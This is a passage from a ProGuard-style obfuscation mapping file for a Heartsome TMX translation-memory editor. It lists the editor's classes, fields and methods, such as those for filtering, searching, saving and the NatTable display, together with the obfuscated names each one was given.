-> tgtLangCode + net.heartsome.cat.te.tmxeditor.editor.TmxEditorFilter editorFilter -> nt + org.eclipse.swt.widgets.Combo srcLangCombo -> nu + org.eclipse.swt.widgets.Combo tgtLangCombo -> nv + org.eclipse.swt.widgets.Text srcSearchText -> nw + org.eclipse.swt.widgets.Text tgtSearchText -> nx + java.lang.String tgtSearchTitle -> ny + java.lang.String srcSearchTitle -> nz + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable tmxEditorImpWithNattable -> nA + net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer viewPart -> nB + net.heartsome.cat.te.tmxeditor.editor.TmxEditor$FindReplaceAction findAction -> nC + net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog dialog -> nD + org.eclipse.swt.events.KeyListener searchKeyListener -> nE + void createContent(net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer,org.eclipse.swt.widgets.Composite) -> createContent + void createEditorArea(org.eclipse.swt.widgets.Composite) -> k + void createQaArea(org.eclipse.swt.widgets.Composite) -> l + void createLangUI(org.eclipse.swt.widgets.Composite) -> m + net.heartsome.cat.te.tmxeditor.editor.TmxEditorFilter createTmxFilter(org.eclipse.swt.widgets.Composite) -> n + void resetFilterBeforLocation(java.lang.String,java.lang.String) -> resetFilterBeforLocation + void beginToSeach() -> beginToSeach + void doFilter(net.heartsome.cat.te.core.bean.TmxEditorFilterBean) -> b + java.lang.String getSearchText(org.eclipse.swt.widgets.Text) -> a + void createNattable(org.eclipse.swt.widgets.Composite,java.lang.String,java.lang.String) -> a + void saveAs() -> saveAs + void save(org.eclipse.core.runtime.IProgressMonitor) -> save + boolean isDirty() -> isDirty + boolean closeTmxEditor() -> closeTmxEditor + void refreshUI() -> refreshUI + void reCreateUI() -> reCreateUI + void resetFileter() -> resetFileter + void addTu(net.heartsome.cat.common.bean.TmxTU) -> addTu + void deleteSelectedTu() -> deleteSelectedTu + void cleartInnerTag(org.eclipse.core.runtime.IProgressMonitor) -> cleartInnerTag + java.util.List getSplitePoints() -> getSplitePoints + net.heartsome.cat.te.core.bean.TmxPropertiesBean getTmxProperties(boolean) -> getTmxProperties + void cleartDuplicatedTU(org.eclipse.core.runtime.IProgressMonitor,boolean,boolean) -> cleartDuplicatedTU + void clearEmptyTU(org.eclipse.core.runtime.IProgressMonitor,boolean) -> clearEmptyTU + void cleartDuplicatedSrcDiffTgtTU(org.eclipse.core.runtime.IProgressMonitor,boolean,boolean) -> cleartDuplicatedSrcDiffTgtTU + void clearEndsSpaces(org.eclipse.core.runtime.IProgressMonitor) -> clearEndsSpaces + void loadDataAndReFreshUI(org.eclipse.core.runtime.IProgressMonitor,boolean) -> loadDataAndReFreshUI + net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess getTmxDataAccess() -> getTmxDataAccess + net.heartsome.cat.common.bean.TmxSegement getSelectedTuv() -> getSelectedTuv + java.lang.String getSrcLang() -> getSrcLang + java.lang.String getTgtLang() -> getTgtLang + void jumptoRow(int) -> jumptoRow + int getSrcColumnIndex() -> getSrcColumnIndex + int getTgtColumnIndex() -> getTgtColumnIndex + void commit() -> commit + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable getTmxEditorImpWithNattable() -> getTmxEditorImpWithNattable + java.lang.String[] getSelectIdentifiers() -> getSelectIdentifiers + net.heartsome.cat.te.tmxeditor.editor.TmxEditorFilter access$0(net.heartsome.cat.te.tmxeditor.editor.TmxEditor) -> a + net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog access$1(net.heartsome.cat.te.tmxeditor.editor.TmxEditor) -> b + net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer access$2(net.heartsome.cat.te.tmxeditor.editor.TmxEditor) -> c + void access$3(net.heartsome.cat.te.tmxeditor.editor.TmxEditor,net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog) -> a + net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess access$4(net.heartsome.cat.te.tmxeditor.editor.TmxEditor) -> d + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable access$5(net.heartsome.cat.te.tmxeditor.editor.TmxEditor) -> e + java.lang.String access$6(net.heartsome.cat.te.tmxeditor.editor.TmxEditor) -> f + java.lang.String access$7(net.heartsome.cat.te.tmxeditor.editor.TmxEditor) -> g + java.lang.String access$8(net.heartsome.cat.te.tmxeditor.editor.TmxEditor) -> h + java.lang.String access$9(net.heartsome.cat.te.tmxeditor.editor.TmxEditor) -> i + org.eclipse.swt.widgets.Text access$10(net.heartsome.cat.te.tmxeditor.editor.TmxEditor) -> j + org.eclipse.swt.widgets.Text access$11(net.heartsome.cat.te.tmxeditor.editor.TmxEditor) -> k + net.heartsome.cat.te.tmxeditor.editor.TmxEditor$FindReplaceAction access$12(net.heartsome.cat.te.tmxeditor.editor.TmxEditor) -> l +net.heartsome.cat.te.tmxeditor.editor.TmxEditor$1 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditor$1: + net.heartsome.cat.te.tmxeditor.editor.TmxEditor this$0 -> nF + void keyReleased(org.eclipse.swt.events.KeyEvent) -> keyReleased + void keyPressed(org.eclipse.swt.events.KeyEvent) -> keyPressed +net.heartsome.cat.te.tmxeditor.editor.TmxEditor$10 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditor$10: + net.heartsome.cat.te.tmxeditor.editor.TmxEditor this$0 -> nF + net.heartsome.cat.te.core.bean.TmxEditorFilterBean val$filter -> nG + java.lang.String val$srcSearchStr -> nH + java.lang.String val$tgtSearchStr -> nI + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.tmxeditor.editor.TmxEditor$11 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditor$11: + net.heartsome.cat.te.tmxeditor.editor.TmxEditor this$0 -> nF + void focusLost(org.eclipse.swt.events.FocusEvent) -> focusLost + void focusGained(org.eclipse.swt.events.FocusEvent) -> focusGained +net.heartsome.cat.te.tmxeditor.editor.TmxEditor$12 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditor$12: + net.heartsome.cat.te.tmxeditor.editor.TmxEditor this$0 -> nF + void run() -> run +net.heartsome.cat.te.tmxeditor.editor.TmxEditor$13 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditor$13: + net.heartsome.cat.te.tmxeditor.editor.TmxEditor this$0 -> nF + void run() -> run +net.heartsome.cat.te.tmxeditor.editor.TmxEditor$14 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditor$14: + net.heartsome.cat.te.tmxeditor.editor.TmxEditor this$0 -> nF + void run() -> run +net.heartsome.cat.te.tmxeditor.editor.TmxEditor$15 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditor$15: + net.heartsome.cat.te.tmxeditor.editor.TmxEditor this$0 -> nF + int getShellStyle() -> getShellStyle +net.heartsome.cat.te.tmxeditor.editor.TmxEditor$16 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditor$16: + net.heartsome.cat.te.tmxeditor.editor.TmxEditor this$0 -> nF + int val$choice -> nJ + java.lang.String[] val$msgs -> nK + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.tmxeditor.editor.TmxEditor$17 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditor$17: + net.heartsome.cat.te.tmxeditor.editor.TmxEditor this$0 -> nF + org.eclipse.core.runtime.IProgressMonitor val$monitor -> nL + java.lang.String val$srcSearchStr -> nH + java.lang.String val$tgtSearchStr -> nI + boolean val$reFreshUI -> nM + void run() -> run +net.heartsome.cat.te.tmxeditor.editor.TmxEditor$2 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditor$2: + net.heartsome.cat.te.tmxeditor.editor.TmxEditor this$0 -> nF + org.eclipse.swt.widgets.Button val$tagConsistenceBtn -> nN + org.eclipse.swt.widgets.Button val$numberConsistenceBtn -> nO + org.eclipse.swt.widgets.Button val$spaceOfParaCheckBtn -> nP + org.eclipse.swt.widgets.Button val$tgtNullBtn -> nQ + org.eclipse.swt.widgets.Button val$srcSameWithTgtBtn -> nR + org.eclipse.swt.widgets.Button val$srcSameButTgtBtn -> nS + org.eclipse.swt.widgets.Button val$tgtSameButSrcBtn -> nT + org.eclipse.jface.preference.IPreferenceStore val$store -> nU + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.editor.TmxEditor$3 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditor$3: + net.heartsome.cat.te.tmxeditor.editor.TmxEditor this$0 -> nF + org.eclipse.jface.preference.IPreferenceStore val$store -> nU + org.eclipse.swt.widgets.Button val$ignoreCaseBtn -> nV + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.te.tmxeditor.editor.TmxEditor$4 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditor$4: + net.heartsome.cat.te.tmxeditor.editor.TmxEditor this$0 -> nF + org.eclipse.jface.preference.IPreferenceStore val$store -> nU + org.eclipse.swt.widgets.Button val$ignoreTagBtn -> nW + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.te.tmxeditor.editor.TmxEditor$5 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditor$5: + net.heartsome.cat.te.tmxeditor.editor.TmxEditor this$0 -> nF + org.eclipse.swt.widgets.TabFolder val$tab -> nX + org.eclipse.swt.widgets.Button val$ignoreCaseBtn -> nV + org.eclipse.jface.preference.IPreferenceStore val$store -> nU + org.eclipse.swt.widgets.Button val$ignoreTagBtn -> nW + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.te.tmxeditor.editor.TmxEditor$6 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditor$6: + net.heartsome.cat.te.tmxeditor.editor.TmxEditor this$0 -> nF + void focusGained(org.eclipse.swt.events.FocusEvent) -> focusGained + void focusLost(org.eclipse.swt.events.FocusEvent) -> focusLost +net.heartsome.cat.te.tmxeditor.editor.TmxEditor$7 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditor$7: + net.heartsome.cat.te.tmxeditor.editor.TmxEditor this$0 -> nF + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.editor.TmxEditor$8 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditor$8: + net.heartsome.cat.te.tmxeditor.editor.TmxEditor this$0 -> nF + void focusGained(org.eclipse.swt.events.FocusEvent) -> focusGained + void focusLost(org.eclipse.swt.events.FocusEvent) -> focusLost +net.heartsome.cat.te.tmxeditor.editor.TmxEditor$9 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditor$9: + net.heartsome.cat.te.tmxeditor.editor.TmxEditor this$0 -> nF + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.te.tmxeditor.editor.TmxEditor$FindReplaceAction -> net.heartsome.cat.te.tmxeditor.editor.TmxEditor$FindReplaceAction: + net.heartsome.cat.te.tmxeditor.editor.TmxEditor this$0 -> nF + void runWithEvent(org.eclipse.swt.widgets.Event) -> runWithEvent + void updateEnabledState() -> updateEnabledState +net.heartsome.cat.te.tmxeditor.editor.TmxEditorFilter -> net.heartsome.cat.te.tmxeditor.editor.TmxEditorFilter: + org.eclipse.jface.viewers.ComboViewer comboViewer -> nY + int filterBtnLenght -> nZ + java.util.List customeFilters -> oa + java.util.List systemFilters -> ob + org.eclipse.swt.graphics.Image filterImage -> oc + void createFilterUI(org.eclipse.swt.widgets.Composite) -> createFilterUI + net.heartsome.cat.te.core.bean.TmxEditorFilterBean getCurrentFilter() -> getCurrentFilter + java.util.List loadSystemFilters() -> bi + java.util.List loadUseableCustomeFilters() -> bj + java.util.List loadAllFilters() -> loadAllFilters + int getFilterBtnLenght() -> getFilterBtnLenght +net.heartsome.cat.te.tmxeditor.editor.TmxEditorFilter$1 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditorFilter$1: + net.heartsome.cat.te.tmxeditor.editor.TmxEditorFilter this$0 -> od + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.te.tmxeditor.editor.TmxEditorFilter$2 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditorFilter$2: + net.heartsome.cat.te.tmxeditor.editor.TmxEditorFilter this$0 -> od + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.editor.TmxEditorFilter$3 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditorFilter$3: + net.heartsome.cat.te.tmxeditor.editor.TmxEditorFilter this$0 -> od + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.te.tmxeditor.editor.TmxEditorFilter$4 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditorFilter$4: + net.heartsome.cat.te.tmxeditor.editor.TmxEditorFilter this$0 -> od + org.eclipse.jface.preference.IPreferenceStore val$store -> nU + org.eclipse.swt.widgets.Button val$ignoreCaseCheckbtn -> oe + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.te.tmxeditor.editor.TmxEditorFilter$5 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditorFilter$5: + net.heartsome.cat.te.tmxeditor.editor.TmxEditorFilter this$0 -> od + org.eclipse.jface.preference.IPreferenceStore val$store -> nU + org.eclipse.swt.widgets.Button val$ignoreTagCheckBtn -> of + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.te.tmxeditor.editor.TmxEditorFilter$6 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditorFilter$6: + net.heartsome.cat.te.tmxeditor.editor.TmxEditorFilter this$0 -> od + org.eclipse.swt.widgets.TabFolder val$tab -> nX + org.eclipse.swt.widgets.Button val$ignoreCaseCheckbtn -> oe + org.eclipse.jface.preference.IPreferenceStore val$store -> nU + org.eclipse.swt.widgets.Button val$ignoreTagCheckBtn -> of + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer -> net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer: + java.lang.String ID -> ID + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.cat.te.tmxeditor.editor.TmxEditor tmxEditor -> og + org.eclipse.swt.widgets.Composite container -> bR + java.util.List openCloseListener -> oh + org.eclipse.ui.operations.UndoRedoActionGroup undoRedoActionGroup -> oi + org.eclipse.ui.IWorkbenchListener workbenchListener -> oj + net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer getInstance() -> getInstance + void recoverOpen(java.lang.String,java.util.List) -> recoverOpen + void open(java.io.File) -> open + void open(net.heartsome.cat.common.bean.DatabaseModelBean) -> open + void openTmx(net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess) -> a + boolean closeTmx() -> closeTmx + void refresh() -> refresh + net.heartsome.cat.te.tmxeditor.editor.TmxEditor getTmxEditor() -> getTmxEditor + void addOpenCloseListener(net.heartsome.cat.te.tmxeditor.view.TmxEditorOpenCloseListener) -> addOpenCloseListener + void removeOpenCloseListener(net.heartsome.cat.te.tmxeditor.view.TmxEditorOpenCloseListener) -> removeOpenCloseListener + void init(org.eclipse.ui.IViewSite) -> init + void createPartControl(org.eclipse.swt.widgets.Composite) -> createPartControl + void setFocus() -> setFocus + void dispose() -> dispose + void fireOpenEvent(net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess) -> b + void fireCloseEvent() -> bk + void doSave(org.eclipse.core.runtime.IProgressMonitor) -> doSave + void doSaveAs() -> doSaveAs + boolean isDirty() -> isDirty + boolean isSaveAsAllowed() -> isSaveAsAllowed + boolean isSaveOnCloseNeeded() -> isSaveOnCloseNeeded + void notifyOpenEvent(net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess) -> notifyOpenEvent + void access$0(net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer,net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess) -> a + void access$1(net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer,int) -> a + net.heartsome.cat.te.tmxeditor.editor.TmxEditor access$2(net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer) -> a +net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$1 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$1: + net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer this$0 -> ok + boolean preShutdown(org.eclipse.ui.IWorkbench,boolean) -> preShutdown + void postShutdown(org.eclipse.ui.IWorkbench) -> postShutdown +net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$2 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$2: + net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer this$0 -> ok + java.lang.String val$mainFile -> ol + java.util.List val$subFiles -> om + net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess[] val$dataAccessor -> on + void run(org.eclipse.core.runtime.IProgressMonitor) -> run + net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer access$0(net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$2) -> a +net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$2$1 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$2$1: + net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$2 this$1 -> oo + net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess[] val$dataAccessor -> on + void run() -> run +net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$3 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$3: + net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer this$0 -> ok + java.io.File val$file -> op + net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess[] val$dataAccessor -> on + void run(org.eclipse.core.runtime.IProgressMonitor) -> run + net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer access$0(net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$3) -> a +net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$3$1 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$3$1: + net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$3 this$1 -> oq + java.lang.Exception val$e -> or + void run() -> run +net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$3$2 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$3$2: + net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$3 this$1 -> oq + net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess[] val$dataAccessor -> on + void run() -> run +net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$4 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$4: + net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer this$0 -> ok + net.heartsome.cat.common.bean.DatabaseModelBean val$db -> os + net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess[] val$dataAccessor -> on + void run(org.eclipse.core.runtime.IProgressMonitor) -> run + net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer access$0(net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$4) -> a +net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$4$1 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$4$1: + net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$4 this$1 -> ot + java.lang.Exception val$e -> or + void run() -> run +net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$4$2 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$4$2: + net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$4 this$1 -> ot + void run() -> run +net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$4$3 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$4$3: + net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$4 this$1 -> ot + net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess[] val$dataAccessor -> on + void run() -> run +net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$5 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$5: + net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer this$0 -> ok + void tmxDataChanged() -> tmxDataChanged +net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$6 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$6: + net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer this$0 -> ok + void drop(org.eclipse.swt.dnd.DropTargetEvent) -> drop +net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$7 -> net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer$7: + net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer this$0 -> ok + java.lang.String[] val$msgs -> nK + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.tmxeditor.editor.TmxPropertiesDialog -> net.heartsome.cat.te.tmxeditor.editor.TmxPropertiesDialog: +net.heartsome.cat.te.tmxeditor.editor.history.OpenRecord -> net.heartsome.cat.te.tmxeditor.editor.history.OpenRecord: + org.slf4j.Logger LOGGER -> LOGGER + java.io.File recordFile -> ou + java.lang.String getOpenRecord() -> getOpenRecord + void saveOpenRecord(java.lang.String) -> saveOpenRecord + void removeOpenRecord() -> removeOpenRecord +net.heartsome.cat.te.tmxeditor.editor.history.TmxEditorHistory -> net.heartsome.cat.te.tmxeditor.editor.history.TmxEditorHistory: + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.cat.te.tmxeditor.editor.history.TmxEditorHistory instance -> instance + java.lang.String historyStoreFile -> ov + org.eclipse.ui.IMemento memento -> memento + java.lang.String rootTag -> ow + int MAX_SIZE -> MAX_SIZE + java.util.List fifoList -> ox + net.heartsome.cat.te.tmxeditor.editor.history.TmxEditorHistory getInstance() -> getInstance + void add(int,java.lang.String) -> add + void add(net.heartsome.cat.te.tmxeditor.editor.history.TmxEditorHistoryItem,int) -> a + net.heartsome.cat.te.tmxeditor.editor.history.TmxEditorHistoryItem[] getItems() -> getItems + void refresh() -> refresh + void remove(net.heartsome.cat.te.tmxeditor.editor.history.TmxEditorHistoryItem) -> remove + void creatStoreFile() -> bl + org.eclipse.core.runtime.IStatus restoreState(org.eclipse.ui.IMemento) -> restoreState + org.eclipse.core.runtime.IStatus saveState(org.eclipse.ui.IMemento) -> saveState +net.heartsome.cat.te.tmxeditor.editor.history.TmxEditorHistory$1 -> net.heartsome.cat.te.tmxeditor.editor.history.TmxEditorHistory$1: + net.heartsome.cat.te.tmxeditor.editor.history.TmxEditorHistory this$0 -> oy + java.io.File val$f -> oz + boolean preShutdown(org.eclipse.ui.IWorkbench,boolean) -> preShutdown + void postShutdown(org.eclipse.ui.IWorkbench) -> postShutdown +net.heartsome.cat.te.tmxeditor.editor.history.TmxEditorHistoryItem -> net.heartsome.cat.te.tmxeditor.editor.history.TmxEditorHistoryItem: + int TYPE_TMX -> TYPE_TMX + int TYPE_HSTM -> TYPE_HSTM + int type -> type + java.lang.String path -> path + org.eclipse.ui.IMemento memento -> memento + int getType() -> getType + void setType(int) -> setType + java.lang.String getPath() -> getPath + void setPath(java.lang.String) -> setPath + boolean isRestored() -> isRestored + boolean canSave() -> canSave + org.eclipse.core.runtime.IStatus saveState(org.eclipse.ui.IMemento) -> saveState +net.heartsome.cat.te.tmxeditor.editor.nattable.TeNattableConstant -> net.heartsome.cat.te.tmxeditor.editor.nattable.a: + java.lang.String LINENUMBER_CELL_LABEL -> oA + java.lang.String FLAG_CELL_LABEL -> oB + java.lang.String SOURCE_EDIT_CELL_LABEL -> oC + java.lang.String TARGET_EDIT_CELL_LABEL -> oD + java.lang.String ATTRIBUTE_CELL_LABEL -> oE +net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorDataProvider -> net.heartsome.cat.te.tmxeditor.editor.nattable.b: + net.heartsome.cat.te.core.tmxdata.TmxTuCache cache -> oF + net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess dataAccessor -> oG + net.sourceforge.nattable.data.IColumnAccessor columnAccessor -> columnAccessor + java.lang.Object getDataValue(int,int) -> getDataValue + void setDataValue(int,int,java.lang.Object) -> setDataValue + int getColumnCount() -> getColumnCount + int getRowCount() -> getRowCount + java.lang.Object getRowObject(int) -> getRowObject + int indexOfRowObject(java.lang.Object) -> indexOfRowObject + void clearCache() -> clearCache +net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable -> net.heartsome.cat.te.tmxeditor.editor.nattable.c: + boolean showNonPrinttingChar -> oH + net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess tmxDataAccess -> ns + net.sourceforge.nattable.NatTable natTable -> oI + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable$BodyLayer bodyLayer -> oJ + java.lang.String[] headerLabelNames -> oK + java.util.Map headerLabels -> oL + java.lang.String srcSearchStr -> oM + java.lang.String tgtSearchStr -> oN + org.eclipse.jface.util.IPropertyChangeListener fontChangeListenner -> oO + org.eclipse.swt.widgets.Listener resizeListener -> oP + java.util.List rowHeightCache -> oQ + org.eclipse.swt.events.PaintListener paintListener -> oR + void createContents(org.eclipse.swt.widgets.Composite) -> createContents + org.eclipse.jface.viewers.ISelectionProvider getSelectionProvider() -> getSelectionProvider + net.sourceforge.nattable.config.IConfigRegistry createConfigRegistry() -> bm + void cleanRowHeightCache() -> bn + void resizeRowsHeight() -> bo + int[] getSelectedRows() -> getSelectedRows + net.sourceforge.nattable.NatTable getTable() -> bp + int getSrcColumnIndex() -> getSrcColumnIndex + int getTgtColumnIndex() -> getTgtColumnIndex + void dispose() -> dispose + boolean isDispose() -> bq + void refrush() -> br + void redraw() -> redraw + void selectCell(int,int) -> d + void editSelectedCell() -> bs + void setEditorDirty() -> bt + void refreshSelectionedRow() -> bu + void setSrcSearchStr(java.lang.String) -> aa + java.lang.String getSrcSearchStr() -> bv + void setTgtSearchStr(java.lang.String) -> ab + java.lang.String getTgtSearchStr() -> bw + java.lang.String[] access$0(net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable) -> a + net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess access$1(net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable) -> b + void access$2(net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable) -> c + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable$BodyLayer access$3(net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable) -> d + net.sourceforge.nattable.NatTable access$4(net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable) -> e + void access$5(net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable,java.util.Map) -> a + java.util.Map access$6(net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable) -> f + void access$7(net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable,java.lang.String[]) -> a + org.eclipse.swt.widgets.Listener access$8(net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable) -> g + org.eclipse.swt.events.PaintListener access$9(net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable) -> h +net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable$1 -> net.heartsome.cat.te.tmxeditor.editor.nattable.d: + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable this$0 -> oS + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable$2 -> net.heartsome.cat.te.tmxeditor.editor.nattable.e: + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable this$0 -> oS + void paintControl(org.eclipse.swt.events.PaintEvent) -> paintControl +net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable$3 -> net.heartsome.cat.te.tmxeditor.editor.nattable.f: + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable this$0 -> oS + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable$BodyLayer -> net.heartsome.cat.te.tmxeditor.editor.nattable.g: + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorDataProvider bodyDataProvider -> oT + net.sourceforge.nattable.selection.SelectionLayer selectionLayer -> selectionLayer + net.sourceforge.nattable.viewport.ViewportLayer viewportLayer -> viewportLayer + org.eclipse.jface.viewers.ISelectionProvider selectionProvider -> oU + net.sourceforge.nattable.layer.DataLayer bodyDataLayer -> oV + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable this$0 -> oS + void dispose() -> dispose + void clearDataCache() -> bx + void configSelectionLayer() -> by + 